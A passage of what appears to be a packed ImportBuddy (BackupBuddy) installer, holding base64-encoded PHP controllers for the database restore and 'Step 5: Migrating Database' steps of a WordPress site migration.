RldGFpbHMuJyApOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRGF0YWJhc2UgcmVzdG9yZSBmYWlsZWQuJyApOwoJCQkJZWNobyAiPHNjcmlwdD5iYl9hY3Rpb24oICdkYXRhYmFzZVJlc3RvcmVGYWlsZWQnICk7PC9zY3JpcHQ+IjsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCQkKCQkJCgkJCXJldHVybjsKCQl9IGVsc2UgeyAvLyBTdWNjZXNzLgoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEYXRhYmFzZSByZXN0b3JlIGNvbXBsZXRlZC4nICk7CgkJCWVjaG8gIjxzY3JpcHQ+YmJfYWN0aW9uKCAnZGF0YWJhc2VSZXN0b3JlU3VjY2VzcycgKTs8L3NjcmlwdD4iOwoJCX0KCQkKCX0KfQoKCnBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0ZpbmlzaGluZyBzdGVwIDQuJyApOwplY2hvICI8c2NyaXB0PgoJc2V0VGltZW91dCggZnVuY3Rpb24oKXsKCQlwYWdlVGl0bGUoICdTdGVwIDU6IFNpdGUgVVJMIFNldHRpbmdzJyApOwoJCWJiX3Nob3dTdGVwKCAndXJsUmVwbGFjZVNldHRpbmdzJywgIiAuIGpzb25fZW5jb2RlKCAkcmVzdG9yZS0+X3N0YXRlICkgLiAiICk7Cgl9LCAyMDAwICk7Cgk8L3NjcmlwdD4iOwoKCnBiX2JhY2t1cGJ1ZGR5Ojpsb2FkX3ZpZXcoICdfaWZyYW1lX2Zvb3RlcicpOwoK
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/ajax/4.php,importbuddy/controllers/ajax/4.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/ajax/5.php,importbuddy/controllers/ajax/5.php
PD9waHAKaWYgKCAhIGRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSB8fCAoIHRydWUgIT09IFBCX0lNUE9SVEJVRERZICkgKSB7CglkaWUoICc8aHRtbD48L2h0bWw+JyApOwp9CkF1dGg6OnJlcXVpcmVfYXV0aGVudGljYXRpb24oKTsgLy8gRGllIGlmIG5vdCBsb2dnZWQgaW4uCnBiX2JhY2t1cGJ1ZGR5Ojpsb2FkX3ZpZXcoICdfaWZyYW1lX2hlYWRlcicpOwpwYl9iYWNrdXBidWRkeTo6c2V0X2dyZWVkeV9zY3JpcHRfbGltaXRzKCk7CmVjaG8gIjxzY3JpcHQ+cGFnZVRpdGxlKCAnU3RlcCA1OiBNaWdyYXRpbmcgRGF0YWJhc2UnICk7PC9zY3JpcHQ+IjsKcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTG9hZGluZyBzdGVwIDUuJyApOwplY2hvICI8c2NyaXB0PmJiX3Nob3dTdGVwKCAnbWlncmF0aW5nRGF0YWJhc2UnICk7PC9zY3JpcHQ+IjsKcGJfYmFja3VwYnVkZHk6OmZsdXNoKCk7CgoKLy8gRmluYWwgZnVuY3Rpb25zIHRvIHJ1biBhZnRlciBEQiBtaWdyYXRpb24gaXMgZG9uZS4gSW4gZnVuY3Rpb24gc2luY2UgdGhpcyBpcyBjYWxsZWQgYm90aCBpbiBzdGFuZGFyZCBhbmQgYXQgZW5kIG9mIGRlcGxveW1lbnQuCmZ1bmN0aW9uIGZpbmFsQWN0aW9ucyggJHJlc3RvcmUgKSB7CgkKCS8vIE1pZ3JhdGUgaHRhY2Nlc3MuCglpZiAoIFRSVUUgIT09ICRyZXN0b3JlLT5fc3RhdGVbJ21pZ3JhdGVIdGFjY2VzcyddICkgewoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1NraXBwaW5nIG1pZ3JhdGlvbiBvZiAuaHRhY2Nlc3MgZmlsZSBiYXNlZCBvbiBzZXR0aW5ncy4nICk7Cgl9IGVsc2UgewoJCSRyZXN0b3JlLT5taWdyYXRlSHRhY2Nlc3MoKTsKCX0KCgkvLyBSZW5hbWUgLmh0YWNjZXNzLmJiX3RlbXAgYmFjayB0byAuaHRhY2Nlc3MuCgkkcmVzdG9yZS0+cmVuYW1lSHRhY2Nlc3NUZW1wQmFjaygpOwoJCgkvLyBSZW1vdmUgYW55IHRlbXBvcmFyeSAubWFpbnRlbmFuY2UgZmlsZSBjcmVhdGVkIGJ5IEltcG9ydEJ1ZGR5LgoJJHJlc3RvcmUtPm1haW50ZW5hbmNlT2ZmKCAkb25seU91ckNyZWF0ZWRGaWxlID0gdHJ1ZSApOwoJCgkvLyBSZW1vdmUgYW55IHRlbXBvcmFyeSBpbmRleC5odG0gZmlsZSBjcmVhdGVkIGJ5IEltcG9ydEJ1ZGR5LgoJJHJlc3RvcmUtPnNjcnViSW5kZXhGaWxlcygpOwoJCgkkcmVzdG9yZS0+X3N0YXRlWydibG9nUHVibGljU3RhdHVzJ10gPSAkcmVzdG9yZS0+Z2V0QmxvZ1B1YmxpY1NldHRpbmcoKTsKCQoJLy8gVE9ETzogTWFrZSB0aGVzZSB0aG5pbmdzIGJlIGFibGUgdG8gb3V0cHV0IHN0dWZmIGludG8gdGhlIGNsZWFudXBTZXR0aW5ncy5odG0gdGVtcGxhdGUuIEFkZCBmdW5jdGlvbnM/CgkvLyBVcGRhdGUgd3Bjb25maWcgaWYgbmVlZGVkLgoJJHdwY29uZmlnX3Jlc3VsdCA9ICRyZXN0b3JlLT5taWdyYXRlV3BDb25maWcoKTsKCWlmICggJHdwY29uZmlnX3Jlc3VsdCAhPT0gdHJ1ZSApIHsKCQlwYl9iYWNrdXBidWRkeTo6YWxlcnQoICdFcnJvcjogVW5hYmxlIHRvIHVwZGF0ZSB3cC1jb25maWcucGhwIGZpbGUuIFZlcmlmeSB3cml0ZSBwZXJtaXNzaW9ucyBmb3IgdGhlIHdwLWNvbmZpZy5waHAgZmlsZSB0aGVuIHJlZnJlc2ggdGhpcyBwYWdlLiBZb3UgbWF5IG1hbnVhbGx5IHVwZGF0ZSB5b3VyIHdwLWNvbmZpZy5waHAgZmlsZSBieSBjaGFuZ2luZyBpdCB0byB0aGUgZm9sbG93aW5nOjx0ZXh0YXJlYSByZWFkb25seT0icmVhZG9ubHkiIHN0eWxlPSJ3aWR0aDogODAlOyI+JyAuICR3cGNvbmZpZ19yZXN1bHQgLiAnPC90ZXh0YXJlYT4nICk7Cgl9CgkKCS8vIFNjYW4gZm9yICd0cm91YmxlJyBzdWNoIGFzIGEgcmVtYWluaW5nIC5tYWludGVuYW5jZSBmaWxlLCBpbmRleC5odG0sIGluZGV4Lmh0bWwsIG1pc3Npbmcgd3AtY29uZmlnLnBocCwgbWlzc2luZyAuaHRhY2Nlc3MsIGV0YyBldGMuCgkkcHJvYmxlbXMgPSAkcmVzdG9yZS0+dHJvdWJsZVNjYW4oKTsKCWlmICggY291bnQoICRwcm9ibGVtcyApID4gMCApIHsKCQkkcmVzdG9yZS0+X3N0YXRlWydwb3RlbnRpYWxQcm9ibGVtcyddID0gJHByb2JsZW1zOwoJCSR0cm91YmxlX3RleHQgPSAnJzsKCQlmb3JlYWNoKCAkcHJvYmxlbXMgYXMgJHByb2JsZW0gKSB7CgkJCSR0cm91YmxlX3RleHQgLj0gJzxsaT4nIC4gJHByb2JsZW0gLiAnPC9saT4nOwoJCX0KCQkkdHJvdWJsZV90ZXh0ID0gJzx1bD4nIC4gJHRyb3VibGVfdGV4dCAuICc8L3VsPic7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ3dhcm5pbmcnLCAnT25lIG9yIG1vcmUgcG90ZW50aWFsIGlzc3VlcyBkZXRlY3RlZCB0aGF0IG1heSByZXF1aXJlIHlvdXIgYXR0ZW50aW9uOiAnIC4gJHRyb3VibGVfdGV4dCApOwoJfQoJCglwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGaW5pc2hlZCBmaW5hbCBhY3Rpb25zIGZ1bmN0aW9uLicgKTsKCglpdF9idWJfaW1wb3J0YnVkZHlfZG9fYWN0aW9uKCAnZmluaXNoZWRfZmluYWxfYWN0aW9ucycgKTsKCQp9IC8vIEVuZCBmaW5hbEFjdGlvbnMoKS4KCgppZiAoICd0cnVlJyAhPSBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ2RlcGxveScgKSApIHsgLy8gZGVwbG95bWVudCBtb2RlIHByZS1sb2FkcyBzdGF0ZSBkYXRhIGluIGEgZmlsZSBpbnN0ZWFkIG9mIHBhc3NpbmcgdmlhIHBvc3QuCgkvLyBQYXJzZSBzdWJtaXR0ZWQgcmVzdG9yZURhdGEgcmVzdG9yZSBzdGF0ZSBmcm9tIHByZXZpb3VzIHN0ZXAuCgkkcmVzdG9yZURhdGEgPSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdyZXN0b3JlRGF0YScgKTsKCQoJCgkvLyBEZWNvZGUgc3VibWl0dGVkIGRhdGEsIHJlcG9ydGluZyBkZXRhaWxzIG9uIGZhaWx1cmUuCgkkZGVjb2RlRmFpbFJlYXNvbiA9ICcnOwoJaWYgKCBmYWxzZSA9PT0gKCAkcmVzdG9yZURhdGEgPSBiYXNlNjRfZGVjb2RlKCAkcmVzdG9yZURhdGEgKSApICkgeyAvLyBmYWxzZSBpZiBmYWlsZWQKCQkkZGVjb2RlRmFpbFJlYXNvbiA9ICdFUlJPUiAjODM4OTNiOiBSZXN0b3JlIGhhbHRlZC4gVW5hYmxlIHRvIGJhc2U2NF9kZWNvZGUoKSBzdWJtaXR0ZWQgZm9ybSBkYXRhIGAnIC4gaHRtbGVudGl0aWVzKCBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdyZXN0b3JlRGF0YScgKSApIC4gJ2AuJzsKCX0gZWxzZSB7IC8vIFN1Y2Nlc3MuCgkJJHJlc3RvcmVEYXRhID0gdXJsZGVjb2RlKCAkcmVzdG9yZURhdGEgKTsKCQlpZiAoIG51bGwgPT09ICggJHJlc3RvcmVEYXRhID0ganNvbl9kZWNvZGUoICRyZXN0b3JlRGF0YSwgdHJ1ZSApICkgKSB7IC8vIG51bGwgaWYgZmFpbGVkCgkJCSRtZXNzYWdlID0gJ0VSUk9SICM4Mzg5M2I6IFJlc3RvcmUgaGFsdGVkLiBVbmFibGUgdG8gZGVjb2RlIEpTT04gcmVzdG9yZSBiYXNlNjQgZGVjb2RlZCBkYXRhIGAnIC4gaHRtbGVudGl0aWVzKCBiYXNlNjRfZGVjb2RlKCBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdyZXN0b3JlRGF0YScgKSApICkgLiAnYC4gQmVmb3JlIGJhc2U2NCBkZWNvZGU6IGAnIC4gaHRtbGVudGl0aWVzKCBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdyZXN0b3JlRGF0YScgKSApIC4gJ2AuJzsKCQkJaWYgKCBmdW5jdGlvbl9leGlzdHMoICdqc29uX2xhc3RfZXJyb3InICkgKSB7CgkJIAkJJG1lc3NhZ2UgLj0gJyBqc29uX2xhc3RfZXJyb3I6IGAnIC4ganNvbl9sYXN0X2Vycm9yKCkgLiAnYC4nOwoJCSAJfQoJCSAJJGRlY29kZUZhaWxSZWFzb24gPSAkbWVzc2FnZTsKCQl9IGVsc2UgeyAvLyBTdWNjZXNzLgoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTdWNjZXNzIGRlY29kaW5nIHN1Ym1pdHRlZCBlbmNvZGVkIGRhdGEuJyApOwoJCX0KCX0KCS8vIFJlcG9ydCBmYWlsdXJlIGFuZCBmYXRhbGx5IGhhbHQuCglpZiAoICcnICE9PSAkZGVjb2RlRmFpbFJlYXNvbiApIHsKCQlwYl9iYWNrdXBidWRkeTo6YWxlcnQoICRtZXNzYWdlICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJG1lc3NhZ2UgKTsKCQlkaWUoKTsKCX0KCQoJCn0gZWxzZSB7IC8vIERlcGxveW1lbnQKCWlmICggaXNzZXQoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snZGVmYXVsdF9zdGF0ZV9vdmVycmlkZXMnXSApICYmICggY291bnQoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snZGVmYXVsdF9zdGF0ZV9vdmVycmlkZXMnXSApID4gMCApICkgeyAvLyBEZWZhdWx0IHN0YXRlIG92ZXJyaWRlcyBleGlzdC4gQXBwbHkgdGhlbS4KCQkkcmVzdG9yZURhdGEgPSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2RlZmF1bHRfc3RhdGVfb3ZlcnJpZGVzJ107Cgl9IGVsc2UgewoJCWRpZSggJ0Vycm9yICM4NDM3OTc5NDQ6IE1pc3NpbmcgZXhwZWN0ZWQgZGVmYXVsdCBzdGF0ZSBvdmVycmlkZS4nICk7Cgl9Cn0KCgovLyBJbnN0YW50aWF0ZSByZXN0b3JlIGNsYXNzLgpyZXF1aXJlX29uY2UoIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9jbGFzc2VzL3Jlc3RvcmUucGhwJyApOwokcmVzdG9yZSA9IG5ldyBiYWNrdXBidWRkeV9yZXN0b3JlKCAncmVzdG9yZScsICRyZXN0b3JlRGF0YSApOwp1bnNldCggJHJlc3RvcmVEYXRhICk7IC8vIEFjY2VzcyB2aWEgJHJlc3RvcmUtPl9zdGF0ZSB0byBtYWtlIHN1cmUgaXQgaXMgYWx3YXlzIHVwIHRvIGRhdGUuCmlmICggJ3RydWUnICE9IHBiX2JhY2t1cGJ1ZGR5OjpfR0VUKCAnZGVwbG95JyApICkgeyAvLyBXZSBkb250IGFjY2VwdCBzdWJtaXR0ZWQgZm9ybSBvcHRpb25zIGR1cmluZyBkZXBsb3kuCglpZiAoICEgaXNfYXJyYXkoICRyZXN0b3JlLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnbWlncmF0ZVJlc3VtZVN0ZXBzJ10gKSApIHsgLy8gU2tpcCBwYXJzZSBvcHRpb25zIGlmIG5vdCBjaHVua2luZy4KCQkkcmVzdG9yZS0+X3N0YXRlID0gcGFyc2Vfb3B0aW9ucyggJHJlc3RvcmUtPl9zdGF0ZSApOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ05vdCByZXN1bWluZzsgcGFyc2luZyBvcHRpb25zLicgKTsKCX0gZWxzZSB7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUmVzdW1pbmc7IHNraXBwaW5nIG9wdGlvbnMgcGFyc2UuJyApOwoJfQp9CgoKLy8gUGFyc2Ugc3VibWl0dGVkIG9wdGlvbnMvc2V0dGluZ3MuCmZ1bmN0aW9uIHBhcnNlX29wdGlvbnMoICRyZXN0b3JlRGF0YSApIHsKCWlmICggJzEnID09IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ21pZ3JhdGVEYXRhYmFzZScgKSApIHsgJHJlc3RvcmVEYXRhWydkYXRhYmFzZVNldHRpbmdzJ11bJ21pZ3JhdGVEYXRhYmFzZSddID0gdHJ1ZTsgfSBlbHNlIHsgJHJlc3RvcmVEYXRhWydkYXRhYmFzZVNldHRpbmdzJ11bJ21pZ3JhdGVEYXRhYmFzZSddID0gZmFsc2U7IH0KCWlmICggJzEnID09IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ21pZ3JhdGVEYXRhYmFzZUJydXRlRm9yY2UnICkgKSB7ICRyZXN0b3JlRGF0YVsnZGF0YWJhc2VTZXR0aW5ncyddWydtaWdyYXRlRGF0YWJhc2VCcnV0ZUZvcmNlJ10gPSB0cnVlOyB9IGVsc2UgeyAkcmVzdG9yZURhdGFbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnbWlncmF0ZURhdGFiYXNlQnJ1dGVGb3JjZSddID0gZmFsc2U7IH0KCgkkcmVzdG9yZURhdGFbJ3NpdGV1cmwnXSA9IHByZWdfcmVwbGFjZSggJ3wvKiR8JywgJycsIHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3NpdGV1cmwnICkgKTsgLy8gU3RyaXAgdHJhaWxpbmcgc2xhc2hlcy4KCSRyZXN0b3JlRGF0YVsnaG9tZXVybCddID0gcHJlZ19yZXBsYWNlKCAnfC8qJHwnLCAnJywgcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAnaG9tZXVybCcgKSApOyAvLyBTdHJpcCB0cmFpbGluZyBzbGFzaGVzLgoJaWYgKCAoICdvbicgIT0gcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCAnY3VzdG9tSG9tZUVuYWJsZWQnICkgKSB8fCAoICcnID09ICRyZXN0b3JlRGF0YVsnaG9tZXVybCddICkgKSB7IC8vIEhvbWUgdXJsIHdhcyBibGFuayBPUiB0aGV5IGRpZCBub3QgY2hlY2sgdG8gY3VzdG9taXplIHRoZSBob21lIHVybCBzbyBqdXN0IHNldCBpdCB0byBzaXRldXJsLgoJCSRyZXN0b3JlRGF0YVsnaG9tZXVybCddID0gJHJlc3RvcmVEYXRhWydzaXRldXJsJ107Cgl9CgkkcmVzdG9yZURhdGFbJ21heEV4ZWN1dGlvblRpbWUnXSA9IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ21heF9leGVjdXRpb25fdGltZScgKTsKCQoJcmV0dXJuICRyZXN0b3JlRGF0YTsKfQoKCi8vIElmIGRlcGxveW1lbnQgYW5kIG5vIHRhYmxlcyBpbXBvcnRlZCB0aGVuIHNraXAgbWlncmF0aW9uLgpwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTUUwgZmlsZXMgaW1wb3J0ZWQ6ICcgLiBjb3VudCggJHJlc3RvcmUtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydzcWxGaWxlcyddICkgLiAnOyBEZXBsb3k/OiAnIC4gcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdkZXBsb3knICkgKTsKaWYgKCAndHJ1ZScgPT0gcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdkZXBsb3knICkgKSB7CglpZiAoIDAgPT0gY291bnQoICRyZXN0b3JlLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnc3FsRmlsZXMnXSApICkgewoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0RlcGxveSBtb2RlIGFuZCBubyBTUUwgZmlsZXMgaW1wb3J0ZWQgc28gc2tpcHBpbmcgZGF0YWJhc2UgbWlncmF0aW9uIHN0ZXAuJyApOwoJCSRyZXN0b3JlLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnbWlncmF0ZURhdGFiYXNlJ10gPSBmYWxzZTsKCQkKCQlmaW5hbEFjdGlvbnMoICRyZXN0b3JlICk7CgkJJG5leHRTdGVwTnVtID0gNjsKCQllY2hvICc8IS0tIEFVVE9QUk9DRUVEIFRPIFNURVAgJyAuICRuZXh0U3RlcE51bSAuICcgLS0+JzsKCX0gZWxzZSB7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRGVwbG95IG1vZGUgYnV0IFNRTCBmaWxlcyBpbXBvcnRlZCAoYCcgLiBjb3VudCggJHJlc3RvcmUtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydzcWxGaWxlcyddICkgLiAnYCB0b3RhbCkgc28gbm90IHNraXBwaW5nIGRhdGFiYXNlIG1pZ3JhdGlvbiBzdGVwLicgKTsKCX0KfQoKCmlmICggVFJVRSAhPT0gJHJlc3RvcmUtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydtaWdyYXRlRGF0YWJhc2UnXSApIHsKCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1NraXBwaW5nIG1pZ3JhdGlvbiBvZiBkYXRhYmFzZSBiYXNlZCBvbiBhZHZhbmNlZCBzZXR0aW5ncy4nICk7CgllY2hvICI8c2NyaXB0PmJiX2FjdGlvbiggJ2RhdGFiYXNlTWlncmF0aW9uU2tpcHBlZCcgKTs8L3NjcmlwdD4iOwoJJG1pZ3JhdGVSZXN1bHRzID0gdHJ1ZTsKfSBlbHNlIHsKCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1N0YXJ0aW5nIGRhdGFiYXNlIG1pZ3JhdGlvbiBwcm9jZWR1cmVzLicgKTsKCQoJLy8gQ29ubmVjdCBJbXBvcnRCdWRkeSB0byB0aGUgZGF0YWJhc2UuCgkkcmVzdG9yZS0+Y29ubmVjdERhdGFiYXNlKCk7CgkKCSRvdmVycmlkZVByZWZpeCA9ICcnOwoJaWYgKCAndHJ1ZScgPT0gcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdkZXBsb3knICkgKSB7CgkJJG92ZXJyaWRlUHJlZml4ID0gJHJlc3RvcmUtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWyd0ZW1wUHJlZml4J107Cgl9CgkKCXJlcXVpcmVfb25jZSggJ2ltcG9ydGJ1ZGR5L2NsYXNzZXMvX21pZ3JhdGVfZGF0YWJhc2UucGhwJyApOwoJJG1pZ3JhdGUgPSBuZXcgYmFja3VwYnVkZHlfbWlncmF0ZURCKCAnc3RhbmRhbG9uZScsICRyZXN0b3JlLT5fc3RhdGUsICRuZXR3b3JrUHJlZml4ID0gJycsICRvdmVycmlkZVByZWZpeCApOwoJJG1pZ3JhdGVSZXN1bHRzID0gJG1pZ3JhdGUtPm1pZ3JhdGUoKTsKCQoJCglpZiAoICd0cnVlJyA9PSBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ2RlcGxveScgKSApIHsKCQlpZiAoIGlzX2FycmF5KCAkbWlncmF0ZVJlc3VsdHMgKSApIHsgLy8gUmV0dXJuIHRvIHNhbWUgc3RlcCBmb3IgY29udGludWluZyBjaHVua2luZy4KCQkJJG5leHRTdGVwTnVtID0gNTsKCQl9IGVsc2UgewoJCQkvL2Vycm9yX2xvZyggJ1NUQVRFOiAnIC4gcHJpbnRfciggJHJlc3RvcmUtPl9zdGF0ZSwgdHJ1ZSApICk7CgkJCS8vIERvbid0IGF0dGVtcHQgdG8gc3dhcCBvdXQgYmFja3VwYnVkZHkgc2V0dGluZ3MgZnJvbSBvcHRpb25zIHRhYmxlIGlmIG9wdGlvbnMgdGFibGUgd2Fzbid0IHB1bGxlZC4KCQkJaWYgKCBpc3NldCggJHJlc3RvcmUtPl9zdGF0ZVsnZGF0J11bJ3RhYmxlc19zaXplcyddICkgJiYgKCAhIGlzc2V0KCAkcmVzdG9yZS0+X3N0YXRlWydkYXQnXVsndGFibGVzX3NpemVzJ11bICRyZXN0b3JlLT5fc3RhdGVbJ2RhdCddWydkYl9wcmVmaXgnXSAuICdvcHRpb25zJyBdICkgKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ09wdGlvbnMgdGFibGUgd2FzIG5vdCBiYWNrZWQgdXAuIFNraXBwaW5nIHN3YXAgb3V0IG9mIEJhY2t1cEJ1ZGR5IHNldHRpbmdzLicgKTsKCQkJfSBlbHNlIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ09wdGlvbnMgdGFibGUgd2FzIGJhY2tlZCB1cC4gU3dhcHBpbmcgb3V0IG9mIEJhY2t1cEJ1ZGR5IHNldHRpbmdzLicgKTsKCQkJCWlmICggdHJ1ZSAhPT0gJHJlc3RvcmUtPnN3YXBEYXRhYmFzZUJCU2V0dGluZ3MoKSApIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRXJyb3IgIzMyOTIzNzM6IFVuYWJsZSB0byBzd2FwIG91dCBCYWNrdXBCdWRkeSBzZXR0aW5ncy4gVGhpcyBtYXkgbm90IGJlIGEgZmF0YWwgZXJyb3IuJyApOwoJCQkJfSBlbHNlIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGaW5pc2hlZCBzd2FwcGluZyBCYWNrdXBCdWRkeSBzZXR0aW5ncy4nICk7CgkJCQl9CgkJCX0KCQkJCgkJCS8vIFN3YXAgb3V0IG5ldyBhbmQgb2xkIGRhdGFiYXNlIHByZWZpeGVzLgoJCQlpZiAoIHRydWUgIT09ICRyZXN0b3JlLT5zd2FwRGF0YWJhc2VzKCkgKSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRXJyb3IgIzg0Mzc4OiBVbmFibGUgdG8gc3dhcCBvdXQgdGVtcG9yYXJ5IGRhdGFiYXNlIHByZWZpeGVzLicgKTsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdoYWx0U2NyaXB0JywgJycgKTsgLy8gSGFsdCBKUyBvbiBwYWdlLgoJCQkJcmV0dXJuOwoJCQl9IGVsc2UgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRmluaXNoZWQgc3dhcHBpbmcgZGF0YWJhc2UgYmFzZWQgb24gdGVtcG9yYXJ5IGFuZCBsaXZlIHByZWZpeGVzLicgKTsKCQkJfQoJCQkKCQkJZmluYWxBY3Rpb25zKCAkcmVzdG9yZSApOwoJCQkkbmV4dFN0ZXBOdW0gPSA2OwoJCX0KCQllY2hvICc8IS0tIEFVVE9QUk9DRUVEIFRPIFNURVAgJyAuICRuZXh0U3RlcE51bSAuICcgLS0+JzsKCQkKCX0gZWxzZSB7IC8vIFN0YW5kYXJkIGltcG9ydCAobm90IGRlcGxveSkKCQkKCQlpZiAoIFRSVUUgPT09ICRtaWdyYXRlUmVzdWx0cyApIHsgLy8gQ29tcGxldGVkIHN1Y2Nlc3NmdWxseS4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRGF0YWJhc2UgbWlncmF0aW9uIGNvbXBsZXRlZC4nICk7CgkJCWVjaG8gIjxzY3JpcHQ+YmJfYWN0aW9uKCAnZGF0YWJhc2VNaWdyYXRpb25TdWNjZXNzJyApOzwvc2NyaXB0PiI7CgkJfSBlbHNlaWYgKCBpc19hcnJheSggJG1pZ3JhdGVSZXN1bHRzICkgKSB7IC8vIENodW5raW5nLgoJCQkkcmVzdG9yZS0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ21pZ3JhdGVSZXN1bWVTdGVwcyddID0gKGFycmF5KSRtaWdyYXRlUmVzdWx0c1swXTsKCQkJJHJlc3RvcmUtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydtaWdyYXRlUmVzdW1lUG9pbnQnXSA9ICRtaWdyYXRlUmVzdWx0c1sxXTsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRGF0YWJhc2UgbWlncmF0aW9uIGRpZCBub3QgZnVsbHkgY29tcGxldGUgaW4gZmlyc3QgcGFzcy4gQ2h1bmtpbmcgaW4gcHJvZ3Jlc3MuIFJlc3VtaW5nIHdoZXJlIGxlZnQgb2ZmLicgKTsKCQkJPz4KCQkJPGZvcm0gaWQ9Im1pZ3JhdGVDaHVua0Zvcm0iIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI/YWpheD01Ij4KCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJlc3RvcmVEYXRhIiB2YWx1ZT0iPD9waHAgZWNobyBiYXNlNjRfZW5jb2RlKCB1cmxlbmNvZGUoIGpzb25fZW5jb2RlKCAkcmVzdG9yZS0+X3N0YXRlICkgKSApOyA/PiI+CgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRGb3JtIiBjbGFzcz0iYnV0dG9uIGJ1dHRvbi1wcmltYXJ5IiB2YWx1ZT0iTmV4dCBTdGVwIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPgoJCQk8L2Zvcm0+CgkJCTxzY3JpcHQ+CgkJCQlqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCkgewoJCQkJCWpRdWVyeSggJyNtaWdyYXRlQ2h1bmtGb3JtJyApLnN1Ym1pdCgpOwoJCQkJfSk7CgkJCTwvc2NyaXB0PgoJCQk8P3BocAoJCX0gZWxzZSB7IC8vIEZhaWxlZC4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRGF0YWJhc2UgbWlncmF0aW9uIGZhaWxlZC4gUmVzdWx0OiBgJyAuICRtaWdyYXRlUmVzdWx0cyAuICdgLicgKTsKCQkJZWNobyAiPHNjcmlwdD5iYl9hY3Rpb24oICdkYXRhYmFzZU1pZ3JhdGlvbkZhaWxlZCcgKTs8L3NjcmlwdD4iOwoJCX0KCQkKCX0KfQoKCmlmICggJ3RydWUnID09IHBiX2JhY2t1cGJ1ZGR5OjpfR0VUKCAnZGVwbG95JyApICkgeyAvLyBEZXBsb3ltZW50CgkKCS8vIFdyaXRlIGRlZmF1bHQgc3RhdGUgb3ZlcnJpZGVzLgoJZ2xvYmFsICRpbXBvcnRidWRkeV9maWxlOwoJJGltcG9ydEZpbGVTZXJpYWwgPSBiYWNrdXBidWRkeV9jb3JlOjpnZXRfc2VyaWFsX2Zyb21fZmlsZSggJGlt